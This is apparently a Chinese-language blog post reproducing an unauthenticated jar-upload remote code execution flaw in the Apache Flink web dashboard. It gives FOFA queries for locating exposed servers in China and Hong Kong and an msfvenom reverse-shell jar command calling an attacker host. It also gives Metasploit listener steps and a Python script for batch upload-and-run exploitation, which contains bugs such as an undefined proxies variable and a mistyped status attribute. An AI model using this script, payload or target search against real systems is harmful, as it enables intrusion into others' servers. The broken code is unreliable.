Apache Flink 未授权访问+远程代码执行

0x00 前言

@Adminxe 今天胖胖表哥突然扔来一个复现，那俺得瞧瞧，正好写个博客划划水，然后就引发了下面一些列的操作以及你想看到的，以及和你不想看到的文字。之前就有大佬复现过，毕竟水文和复现学习，那就来一波吧！最可恶的是，今天的MC兄没有请客喝啵啵奶茶，必须点名批评一下！

从现在fofa的搜索量来看，基本也就是国内Apache Flink 存在1500左右的站点。

有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞，影响范围：
<= 1.9.1（最新版本）
此次复现就是通过版本Version: 1.10.1进行复现利用。

0x01 FOFA语句

app="Apache-Flink"
app="Apache‐Flink" && country="CN"
app="Apache‐Flink" && country="CN" && region="HK"

0x02 漏洞复现

1、这里随便搞个站打开进行复现，打开以后就张这样子。

点击Submit New Job翻译：文件上传

2、打开MSF 生成一个 jar 木马

msfvenom ‐p java/meterpreter/reverse_tcp LHOST=**.***.59.61  LPORT=4444 ‐f
 jar > testone.jar

3、点击 Add 上传 jar 文件

4、设置监听端口

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload java/shell/reverse_tcp 
payload => java/shell/reverse_tcp
msf5 exploit(multi/handler) > set lhost XX.XXX.XX.61
lhost => XX.XXX.XX.61
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run

5、点击下 submit

6、反弹shell成功

0x03 批量化测试脚本

import sys
import json
import requests

def flink_check(vuln_url):
    r = requests.get(vuln_url)
    if r.status_code == 200 and len(r.content) > 0:
        print(vuln_url + 'may has Apache Flink Web Dashboard RCE vul')
        upload_jar(vuln_url)

    else:
        print(vuln_url + 'does not have Apache Flink Web Dashboard RCE vul')


def upload_jar(vuln_url):
    upload_url = vuln_url + '/upload'
    files = {
        'file':open(sys.argv[2],'rb')
    }
    r = requests.post(upload_url, files=files)
    if r.status_codes== 200 and 'filename' in r.content:
        print('upload success')
        json_str = json.loads(r.content)
        filename = json_str['filename'].split('/')[-1]
        submit_jar(vuln_url,filename)

    else:
        print('faild')

def submit_jar(vuln_url,filename):
    submit_url = vuln_url + filename + '/run?entry-class=metasploit.Payload'
    url = vuln_url[:-4]
    headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0',
    'Accept': 'application/json, text/plain, */*',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/json',
    'Referer': '%s' % url,
    'Content-Length': '123',
    'Connection': 'close'
    }
    payload = {
        "entryClass":"metasploit.Payload",
        "parallelism": 0,
        "programArgs": 0,
        "savepointPath": 0,
        "allowNonRestoredState": 0
    }

    r = requests.post(submit_url, headers=headers, data=payload, proxies=proxies)
    if r.status_code == 500 and 'org.apache.flink.client.program.ProgramInvocationException' in r.content:
        print("[+] Poc Send Success!\n")
        # print 'msfconsole  -q  -x "use exploit/multi/handler;set payload java/meterpreter/reverse_tcp;set lhost 10.10.20.166;set lport 8989;run"\n'
    else:
        print("[+] Poc Send Fail!")

"""
only for dected:
def POC_check(vuln_url):
    res = requests.get(url=vuln_url, timeout=3)
    data = {
        'msg': res.json(),
        'state': 1,
        'url': url,
    }
"""


if __name__ == '__main__':
    if len(sys.argv) == 3:
        ip = sys.argv[1]
        port = sys.argv[2]
        url = 'http://' + ip + ':' + port
        vuln_url = url + '/jars'
        flink_check(vuln_url=vuln_url)

    elif len(sys.argv) == 2:
        ip = sys.argv[1]
        port = '8081'
        url = 'http://' + ip + ':' + port
        vuln_url = url + '/jars'
        flink_check(vuln_url=vuln_url)

0x04 参考资料

• https://mp.weixin.qq.com/s/ArYCF4jjhy6nkY4ypib-Ag
• https://flink.apache.org/downloads.html

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